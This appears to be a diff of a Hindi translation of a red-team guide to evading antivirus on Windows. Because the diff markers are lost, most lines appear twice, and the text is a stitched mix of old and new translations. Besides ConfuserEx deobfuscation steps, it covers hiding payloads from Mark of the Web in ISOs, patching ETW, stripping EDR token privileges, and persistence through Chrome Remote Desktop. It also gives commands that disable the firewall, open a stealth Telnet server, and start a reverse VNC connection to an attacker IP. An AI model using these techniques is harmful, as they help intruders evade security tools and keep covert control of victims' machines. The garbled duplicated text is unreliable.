||||
## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> कई obfuscation techniques डेटा को encrypt करने पर निर्भर करती हैं, जो बाइनरी की entropy बढ़ा देगी और AVs और EDRs के लिए उसे detect करना आसान कर देगी। इसके बारे में सावधान रहें और शायद encryption केवल अपने कोड के उन हिस्सों पर लागू करें जो संवेदनशील हों या छिपाने की आवश्यकता हो।
|
||||
> कई obfuscation तकनीकें डेटा को encrypt करने पर निर्भर करती हैं, जिससे binary की entropy बढ़ जाती है और AVs/EDRs के लिए इसे detect करना आसान हो जाता है। इस पर सावधानी बरतें और संभव हो तो encryption केवल उन कोड सेक्शनों पर लागू करें जो संवेदनशील हों या जिन्हें छिपाना आवश्यक हो।
|
||||
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
जब ConfuserEx 2 (या commercial forks) का उपयोग करने वाले malware का analysis किया जाता है, तो अक्सर कई सुरक्षा परतें मिलती हैं जो decompilers और sandboxes को ब्लॉक कर देती हैं। नीचे दिया गया workflow भरोसेमंद रूप से मूल IL के काफी नज़दीक एक स्थिति बहाल करता है जिसे बाद में dnSpy या ILSpy जैसे tools में C# में decompile किया जा सकता है।
|
||||
जब आप ConfuserEx 2 (या commercial forks) का उपयोग करने वाले malware का विश्लेषण कर रहे हों तो अक्सर कई सुरक्षा परतें मिलती हैं जो decompilers और sandboxes को रोकती हैं। नीचे दिया गया workflow भरोसेमंद तरीके से एक near–original IL बहाल करता है जिसे बाद में dnSpy या ILSpy जैसे टूल्स में C# में decompile किया जा सकता है।
|
||||
|
||||
1. Anti-tampering removal – ConfuserEx हर *method body* को encrypt करता है और उसे *module* static constructor (`<Module>.cctor`) के अंदर decrypt करता है। यह PE checksum को भी patch कर देता है इसलिए कोई भी modification बाइनरी को क्रैश कर देगा। Encrypted metadata tables ढूँढने, XOR keys recover करने और एक clean assembly rewrite करने के लिए **AntiTamperKiller** का उपयोग करें:
|
||||
1. Anti-tampering removal – ConfuserEx हर *method body* को encrypt करता है और इसे *module* static constructor (`<Module>.cctor`) के अंदर decrypt करता है। यह PE checksum को भी patch करता है ताकि कोई संशोधन binary को crash करवा दे। encrypted metadata tables का पता लगाने, XOR keys recover करने और एक clean assembly फिर से लिखने के लिए **AntiTamperKiller** का उपयोग करें:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
Output में 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) होंगे जो अपना unpacker बनाते समय उपयोगी हो सकते हैं।
|
||||
Output में 6 anti-tamper parameters (`key0-key3`, `nameHash`, `internKey`) शामिल रहते हैं जो अपना unpacker बनाते समय उपयोगी हो सकते हैं।
|
||||
|
||||
2. Symbol / control-flow recovery – *clean* फाइल को **de4dot-cex** (de4dot का ConfuserEx-aware fork) को दें।
|
||||
2. Symbol / control-flow recovery – *clean* फाइल को **de4dot-cex** (de4dot का ConfuserEx-aware fork) को फीड करें।
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Flags:
|
||||
• `-p crx` – ConfuserEx 2 profile चुनें
|
||||
• de4dot control-flow flattening को undo करेगा, मूल namespaces, classes और variable names restore करेगा और constant strings को decrypt करेगा।
|
||||
• `-p crx` – ConfuserEx 2 प्रोफ़ाइल चुनें
|
||||
• de4dot control-flow flattening को undo करेगा, original namespaces, classes और variable names restore करेगा और constant strings को decrypt करेगा।
|
||||
|
||||
3. Proxy-call stripping – ConfuserEx decompilation को और तोड़ने के लिए direct method calls को lightweight wrappers (a.k.a *proxy calls*) से replace कर देता है। इन्हें हटाने के लिए **ProxyCall-Remover** का उपयोग करें:
|
||||
3. Proxy-call stripping – ConfuserEx direct method calls को lightweight wrappers (a.k.a *proxy calls*) से replace करता है ताकि decompilation और कठिन हो जाए। इन्हें हटाने के लिए **ProxyCall-Remover** का प्रयोग करें:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
इस चरण के बाद आपको opaque wrapper functions (`Class8.smethod_10`, …) के बजाय सामान्य .NET API जैसे `Convert.FromBase64String` या `AES.Create()` दिखाई देने चाहिए।
|
||||
इस चरण के बाद आप opaque wrapper functions (`Class8.smethod_10`, …) की जगह सामान्य .NET APIs जैसे `Convert.FromBase64String` या `AES.Create()` देखेंगे।
|
||||
|
||||
4. Manual clean-up – resulting binary को dnSpy में चलाएँ, बड़े Base64 blobs या `RijndaelManaged`/`TripleDESCryptoServiceProvider` के उपयोग के लिए खोजें ताकि *real* payload का पता चल सके। अक्सर malware इसे TLV-encoded byte array के रूप में `<Module>.byte_0` के अंदर initialize करता है।
|
||||
4. Manual clean-up – resulting binary को dnSpy में चलाएँ, बड़ी Base64 blobs या `RijndaelManaged`/`TripleDESCryptoServiceProvider` के उपयोग के लिए खोजें ताकि वास्तविक payload का पता चल सके। अक्सर malware इसे `<Module>.byte_0` के अंदर TLV-encoded byte array के रूप में स्टोर करता है।
|
||||
|
||||
उपर्युक्त चेन execution flow को **बिना** malicious sample चलाए बहाल कर देता है — जब आप offline workstation पर काम कर रहे हों तब यह उपयोगी है।
|
||||
ऊपर दिया गया चैन execution flow को बहाल करता है **बिना** malicious sample को चलाए — यह offline workstation पर काम करते समय उपयोगी है।
|
||||
|
||||
> 🛈 ConfuserEx एक custom attribute `ConfusedByAttribute` उत्पन्न करता है जिसे IOC के रूप में samples को automatic तौर पर triage करने के लिए उपयोग किया जा सकता है।
|
||||
> 🛈 ConfuserEx एक custom attribute बनाता है जिसका नाम `ConfusedByAttribute` है जिसे IOC के रूप में उपयोग करके samples को स्वतः triage किया जा सकता है।
|
||||
|
||||
#### One-liner
|
||||
```bash
|
||||
@ -329,33 +331,33 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस प्रोजेक्ट का उद्देश्य [LLVM](http://www.llvm.org/) compilation suite का एक open-source fork प्रदान करना है जो [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) और tamper-proofing के माध्यम से सॉफ़्टवेयर सुरक्षा बढ़ा सके।
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दर्शाता है कि `C++11/14` भाषा का उपयोग करके compile time पर obfuscated code कैसे generate किया जा सकता है, बिना किसी external tool का उपयोग किए और compiler को modify किए बिना।
|
||||
- [**obfy**](https://github.com/fritzone/obfy): यह C++ template metaprogramming framework द्वारा उत्पन्न obfuscated operations की एक परत जोड़ता है, जो application को crack करने वाले व्यक्ति के लिए काम थोड़ा कठिन बना देगा।
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 binary obfuscator है जो .exe, .dll, .sys सहित विभिन्न pe files को obfuscate कर सकता है।
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame arbitrary executables के लिए एक सरल metamorphic code engine है।
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक fine-grained code obfuscation framework है जो LLVM-supported languages में ROP (return-oriented programming) का उपयोग करता है। ROPfuscator assembly code level पर प्रोग्राम को obfuscate करता है, सामान्य निर्देशों को ROP chains में बदलकर सामान्य control flow की हमारी प्राकृतिक धारणा को बाधित करता है।
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt Nim में लिखा गया एक .NET PE Crypter है
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूद EXE/DLL को shellcode में convert करके उन्हें load कर सकता है
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस प्रोजेक्ट का उद्देश्य LLVM compilation suite का एक open-source fork प्रदान करना है जो increased software security प्रदान कर सके through [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) और tamper-proofing.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दर्शाता है कि कैसे `C++11/14` language का उपयोग करके compile time पर obfuscated code generate किया जा सकता है बिना किसी external tool का उपयोग किए और बिना compiler को modify किए.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): C++ template metaprogramming framework द्वारा generate किए गए obfuscated operations की एक layer जोड़ता है जो application को crack करने वाले व्यक्ति के लिए काम थोड़ा मुश्किल बना देगी.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 binary obfuscator है जो .exe, .dll, .sys सहित विभिन्न प्रकार के PE files को obfuscate करने में सक्षम है.
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame एक simple metamorphic code engine है arbitrary executables के लिए.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक fine-grained code obfuscation framework है LLVM-supported languages के लिए जो ROP (return-oriented programming) का उपयोग करता है। ROPfuscator प्रोग्राम को assembly code level पर obfuscate करता है, सामान्य instructions को ROP chains में transform करके हमारे सामान्य control flow की धारणा को बाधित कर देता है.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE Crypter है जो Nim में लिखा गया है
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को shellcode में convert कर सकता है और फिर उन्हें load कर सकता है
|
||||
|
||||
## SmartScreen & MoTW
|
||||
## SmartScreen और MoTW
|
||||
|
||||
You may have seen this screen when downloading some executables from the internet and executing them.
|
||||
|
||||
Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.
|
||||
Microsoft Defender SmartScreen एक security mechanism है जिसका उद्देश्य end user को संभावित रूप से malicious applications चलाने से बचाना है।
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen मुख्यतः reputation-based approach से काम करता है, जिसका अर्थ है कि कम बार डाउनलोड किए गए applications SmartScreen को ट्रिगर करेंगे, जिससे end user को alert किया जाएगा और उसे file execute करने से रोका जाएगा (हालाँकि file को More Info -> Run anyway पर क्लिक करके फिर भी execute किया जा सकता है)।
|
||||
SmartScreen मुख्य रूप से एक reputation-based approach से काम करता है, जिसका अर्थ है कि अनोखी रूप से डाउनलोड की गई applications SmartScreen को trigger करेंगी, जिससे end user को alert किया जाएगा और file के execute होने से रोका जाएगा (although the file can still be executed by clicking More Info -> Run anyway).
|
||||
|
||||
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) है जिसका नाम Zone.Identifier होता है और यह internet से फाइलें डाउनलोड करने पर अपने आप बनाया जाता है, साथ में वह URL भी होता है जिससे इसे डाउनलोड किया गया था।
|
||||
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) है जिसका नाम Zone.Identifier होता है और यह इंटरनेट से फाइलें डाउनलोड होने पर उस फाइल के साथ डाउनलोड की गई URL के साथ स्वचालित रूप से बनाया जाता है।
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>internet से डाउनलोड की गई फाइल के लिए Zone.Identifier ADS की जाँच।</p></figcaption></figure>
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जाँच।</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> यह ध्यान रखना महत्वपूर्ण है कि executables जो एक **trusted** signing certificate से signed हैं, वे **SmartScreen को ट्रिगर नहीं करेंगे**।
|
||||
> यह ध्यान देने योग्य है कि executables जो एक **trusted** signing certificate से signed हैं **SmartScreen को trigger नहीं करेंगे**।
|
||||
|
||||
एक बहुत प्रभावी तरीका ताकि आपके payloads को Mark of The Web न मिल सके, उन्हें किसी कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** volumes पर लागू नहीं किया जा सकता।
|
||||
A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -389,51 +391,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
||||
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW) Windows में एक शक्तिशाली लॉगिंग मैकेनिज्म है जो ऐप्लिकेशन और सिस्टम कंपोनेंट्स को **log events** करने की अनुमति देता है। हालांकि, इसे security products द्वारा malicious activities की निगरानी और पता लगाने के लिए भी उपयोग किया जा सकता है।
|
||||
Event Tracing for Windows (ETW) Windows में एक शक्तिशाली लॉगिंग मेकैनिज़्म है जो applications और system components को **लॉग इवेंट्स** करने की अनुमति देता है। हालाँकि, इसे security products द्वारा malicious गतिविधियों की निगरानी और पहचान के लिए भी इस्तेमाल किया जा सकता है।
|
||||
|
||||
जिस तरह AMSI को disabled (bypassed) किया जाता है, उसी तरह user space process की **`EtwEventWrite`** function को बिना किसी इवेंट को लॉग किए तुरंत return करवा देना भी संभव है। यह function को memory में पैच करके तुरंत return कराने से किया जाता है, जिससे उस process के लिए ETW logging प्रभावी रूप से डिसेबल हो जाती है।
|
||||
जैसे AMSI को disable (bypass) किया जाता है, वैसे ही किसी user space process के **`EtwEventWrite`** फ़ंक्शन को तुरंत return करवा कर भी बिना किसी इवेंट को लॉग किए उसे नॅन-ऑप किया जा सकता है। यह प्रक्रिया मेमोरी में फ़ंक्शन को patch कर के उसे तुरंत लौटने के लिए मजबूर कर के की जाती है, जिससे उस प्रोसेस के लिए ETW लॉगिंग प्रभावी रूप से disabled हो जाती है।
|
||||
|
||||
You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
आप अधिक जानकारी इस में पा सकते हैं: **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) और [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**।
|
||||
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
C# binaries को memory में लोड करना लंबे समय से जाना-पहचाना तरीका रहा है और यह अभी भी आपके post-exploitation tools को AV द्वारा पकड़े जाने के बिना चलाने का एक बहुत अच्छा तरीका है।
|
||||
C# बायनरीज़ को मेमोरी में लोड करना काफी समय से जाना-पहचाना तरीका है और यह अभी भी AV द्वारा पकड़े बिना post-exploitation tools चलाने का एक बेहतरीन तरीका है।
|
||||
|
||||
क्योंकि payload सीधे memory में लोड होगा और disk को नहीं छुएगा, हमें पूरे process के लिए केवल AMSI को पैच करने की चिंता करनी होगी।
|
||||
चूँकि payload सीधे मेमोरी में लोड होगा और डिस्क को टच नहीं करेगा, हमें पूरे process के लिए केवल AMSI को patch करने के बारे में चिंता करनी होगी।
|
||||
|
||||
अधिकांश C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही C# assemblies को सीधे memory में execute करने की क्षमता प्रदान करते हैं, लेकिन इसे करने के अलग-अलग तरीके होते हैं:
|
||||
अधिकांश C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही C# assemblies को सीधे मेमोरी में execute करने की क्षमता प्रदान करते हैं, पर इसे करने के अलग-अलग तरीके हैं:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
इसमें एक नया sacrificial process spawn करना शामिल है, उस नए process में आपका post-exploitation malicious code inject करना, अपना malicious code execute करना और समाप्त होने पर उस नए process को kill कर देना। इसके फायदे और नुकसान दोनों हैं। Fork and run विधि का फायदा यह है कि execution हमारे Beacon implant process के बाहर होता है। इसका मतलब है कि अगर हमारे post-exploitation कार्य में कुछ गलत होता है या पकड़ा जाता है, तो हमारे implant के बचने की संभावना काफी अधिक होती है। नुकसान यह है कि Behavioural Detections द्वारा पकड़े जाने की संभावना भी अधिक होती है।
|
||||
इसमें **एक नया sacrificial process spawn** किया जाता है, उस नए प्रोसेस में आपका post-exploitation malicious code inject किया जाता है, आपका malicious code execute होता है और खत्म होने पर वह नया प्रोसेस kill कर दिया जाता है। इसके फायदे और नुकसान दोनों हैं। Fork and run के तरीके का फायदा यह है कि execuction हमारे Beacon implant process के बाहर होती है। इसका मतलब है कि अगर हमारी post-exploitation action में कुछ गड़बड़ हो या पकड़ा जाए, तो हमारी **implant के बचने** की संभावना काफी अधिक रहती है। नुकसान यह है कि Behavioural Detections द्वारा पकड़े जाने की आपकी **संभावना अधिक** होती है।
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
यह अपने ही process में post-exploitation malicious code inject करने के बारे में है। इस तरह आप नया process बनाने और उसे AV द्वारा स्कैन कराए जाने से बच सकते हैं, लेकिन नुकसान यह है कि अगर आपके payload के execution में कुछ गलत हो जाता है, तो आपकी beacon खोने की संभावना बहुत अधिक होती है क्योंकि यह क्रैश कर सकता है।
|
||||
यह अपने malicious post-exploitation code को **अपने ही process** में inject करने के बारे में है। इस तरह आप नया प्रोसेस बनाने और AV द्वारा उसे स्कैन कराए जाने से बच सकते हैं, लेकिन नुकसान यह है कि अगर आपके payload के execution में कुछ गड़बड़ हुआ तो आपकी **beacon खो जाने** की संभावना बहुत अधिक है क्योंकि यह crash कर सकता है।
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> यदि आप C# Assembly loading के बारे में और पढ़ना चाहते हैं, तो यह आर्टिकल देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनका InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> यदि आप C# Assembly loading के बारे में और पढ़ना चाहते हैं, तो इस आर्टिकल को देखें [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनका InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
आप C# Assemblies को **from PowerShell** से भी लोड कर सकते हैं, देखें [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
आप C# Assemblies को **PowerShell** से भी लोड कर सकते हैं, देखें [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Using Other Programming Languages
|
||||
|
||||
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित है, अन्य भाषाओं का उपयोग करके malicious code execute करना संभव है यदि compromised मशीन को attacker-controlled SMB share पर इंस्टॉल interpreter environment तक access दिया जाए।
|
||||
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित है, अन्य भाषाओं का उपयोग करके malicious code execute करना संभव है यदि compromised मशीन को attacker-controlled SMB share पर इंस्टॉल किए गए interpreter environment तक access दिया जाए।
|
||||
|
||||
SMB share पर Interpreter Binaries और environment तक access देकर आप compromised मशीन की memory के भीतर इन भाषाओं में **execute arbitrary code in these languages within memory** कर सकते हैं।
|
||||
SMB share पर Interpreter Binaries और environment तक access देकर आप compromised मशीन की मेमोरी के अंदर इन भाषाओं में arbitrary code execute कर सकते हैं।
|
||||
|
||||
Repo में बताया गया है: Defender अभी भी scripts को स्कैन करता है लेकिन Go, Java, PHP इत्यादि का उपयोग करके हमारे पास **static signatures को bypass करने की अधिक लचीलापन** होता है। इन भाषाओं में random un-obfuscated reverse shell scripts के साथ परीक्षण सफल रहा है।
|
||||
Repo बताता है: Defender अभी भी scripts को scan करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमारे पास **static signatures को bypass करने की अधिक लचीलापन** होती है। इन भाषाओं में random un-obfuscated reverse shell scripts के साथ परीक्षण सफल रहे हैं।
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping एक तकनीक है जो attacker को access token या किसी security product जैसे EDR या AV को manipulate करने की अनुमति देती है, जिससे वे उसके privileges कम कर सकते हैं ताकि process मर न जाए पर उसे malicious activities की जांच करने की permissions न मिलें।
|
||||
Token stomping एक तकनीक है जो attacker को **access token या किसी security product जैसे EDR या AV** को manipulate करने की अनुमति देती है, जिससे वे उसके privileges कम कर सकते हैं ताकि process मर न जाए पर उसे malicious गतिविधियों की जाँच करने की अनुमति न रहे।
|
||||
|
||||
To prevent this Windows could **prevent external processes** from getting handles over the tokens of security processes.
|
||||
इसे रोकने के लिए Windows external processes को security processes के tokens पर handles लेने से रोक सकता है।
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
@ -443,27 +445,27 @@ To prevent this Windows could **prevent external processes** from getting handle
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
जैसा कि [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) में बताया गया है, किसी victim के PC में Chrome Remote Desktop को deploy करना और फिर उसे takeover करके persistence बनाए रखना आसान है:
|
||||
जैसा कि [**इस ब्लॉग पोस्ट**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) में वर्णित है, किसी victim के PC पर Chrome Remote Desktop deploy कर के उसे takeover करना और persistence बनाए रखना आसान है:
|
||||
1. https://remotedesktop.google.com/ से डाउनलोड करें, "Set up via SSH" पर क्लिक करें, और फिर Windows के लिए MSI फ़ाइल डाउनलोड करने के लिए MSI फ़ाइल पर क्लिक करें।
|
||||
2. victim पर installer को silently चलाएँ (admin आवश्यक): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktop पेज पर वापस जाएँ और next पर क्लिक करें। विज़ार्ड आपसे authorize करने को कहेगा; जारी रखने के लिए Authorize बटन पर क्लिक करें।
|
||||
4. कुछ समायोजनों के साथ दिए गए पैरामीटर को execute करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (ध्यान दें pin param जो GUI का उपयोग किए बिना pin सेट करने की अनुमति देता है)。
|
||||
2. victim पर silently installer चलाएँ (admin आवश्यकता): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Chrome Remote Desktop पेज पर वापस जाएं और next पर क्लिक करें। विज़ार्ड फिर आपसे authorization मांगेगा; जारी रखने के लिए Authorize बटन पर क्लिक करें।
|
||||
4. दिए गए पैरामीटर को कुछ समायोजन के साथ execute करें: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (ध्यान दें pin पैरामीटर जो GUI का उपयोग किए बिना pin सेट करने की अनुमति देता है)。
|
||||
|
||||
|
||||
## Advanced Evasion
|
||||
|
||||
Evasion एक बहुत जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई अलग-अलग telemetry स्रोतों को ध्यान में रखना पड़ता है, इसलिए mature environments में पूरी तरह से undetected रहना काफी हद तक असंभव है।
|
||||
Evasion एक बहुत ही जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई अलग-अलग telemetry स्रोतों को ध्यान में रखना पड़ता है, इसलिए परिपक्व वातावरणों में पूरी तरह से undetected रहना लगभग असंभव है।
|
||||
|
||||
हर environment जिसका आप सामना करते हैं उसकी अपनी मजबूतियाँ और कमजोरियाँ होंगी।
|
||||
हर environment के अपने strengths और weaknesses होंगे।
|
||||
|
||||
मैं आपको सुझाव देता हूँ कि आप [@ATTL4S](https://twitter.com/DaniLJ94) का यह टॉक देखें, ताकि Advanced Evasion तकनीकों का एक परिचय मिल सके।
|
||||
मैं आपको अत्यधिक प्रोत्साहित करता हूं कि आप [@ATTL4S](https://twitter.com/DaniLJ94) की इस talk को देखें, ताकि Advanced Evasion techniques में एक foothold मिल सके।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
यह [@mariuszbit](https://twitter.com/mariuszbit) का एक और बेहतरीन टॉक है जो Evasion in Depth के बारे में है।
|
||||
यह [@mariuszbit](https://twitter.com/mariuszbit) की Evasion in Depth पर एक और शानदार talk भी है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -474,49 +476,49 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **Check which parts Defender finds as malicious**
|
||||
|
||||
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो बाइनरी के हिस्सों को **हटा (remove parts of the binary)** करके यह पता लगाता है कि Defender किस हिस्से को malicious मान रहा है और उसे अलग करके आपको बताता है।\
|
||||
एक और टूल जो यही काम करता है वह [**avred**](https://github.com/dobin/avred) है और इसकी सर्विस ओपन वेब पर [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर उपलब्ध है।
|
||||
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो बाइनरी के हिस्सों को हटाता जाएगा जब तक कि यह पता न लगा ले कि Defender किस हिस्से को malicious मान रहा है और आपको उसे विभाजित करके दिखा देगा।\
|
||||
एक और टूल जो यही काम करता है वह है [**avred**](https://github.com/dobin/avred) जिसका एक सार्वजनिक वेब सर्विस [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर उपलब्ध है।
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Windows10 तक, सभी Windows में एक **Telnet server** शामिल होता था जिसे आप (administrator के रूप में) इस कमांड से इंस्टॉल कर सकते थे:
|
||||
Windows10 आने तक, सभी Windows में एक **Telnet server** आता था जिसे आप (administrator के रूप में) इस तरह इंस्टॉल कर सकते थे:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
इसे सिस्टम के शुरू होते ही **start** कराएँ और अभी इसे **run** कराएँ:
|
||||
इसे सिस्टम शुरू होने पर **start** होने के लिए सेट करें और अभी इसे **run** करें:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**telnet port बदलें** (छुपा हुआ) और firewall अक्षम करें:
|
||||
**telnet port बदलें** (stealth) और firewall अक्षम करें:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
इसे डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
|
||||
डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको bin downloads चाहिए, setup नहीं)
|
||||
|
||||
**ON THE HOST**: _**winvnc.exe**_ को चलाएँ और सर्वर कॉन्फ़िगर करें:
|
||||
**ON THE HOST**: Execute _**winvnc.exe**_ और server को configure करें:
|
||||
|
||||
- विकल्प _Disable TrayIcon_ सक्षम करें
|
||||
- _VNC Password_ में पासवर्ड सेट करें
|
||||
- _View-Only Password_ में पासवर्ड सेट करें
|
||||
|
||||
फिर, बाइनरी _**winvnc.exe**_ और **नई** बनाई गई फ़ाइल _**UltraVNC.ini**_ को **victim** के अंदर ले जाएँ
|
||||
फिर, बाइनरी _**winvnc.exe**_ और **नई बनाई गई** फ़ाइल _**UltraVNC.ini**_ को **victim** के अंदर रखें
|
||||
|
||||
#### **Reverse connection**
|
||||
|
||||
**attacker** को अपने **host** पर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC connection** पकड़ने के लिए **तैयार** रहे। फिर, **victim** के अंदर: winvnc daemon शुरू करें `winvnc.exe -run` और चलाएँ `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
The **attacker** को अपने **host** पर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह reverse **VNC connection** पकड़ने के लिए तैयार रहे। फिर, **victim** के अंदर: winvnc daemon `winvnc.exe -run` शुरू करें और `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` चलाएँ
|
||||
|
||||
**WARNING:** Stealth बनाए रखने के लिए आपको कुछ चीजें नहीं करनी चाहिए
|
||||
|
||||
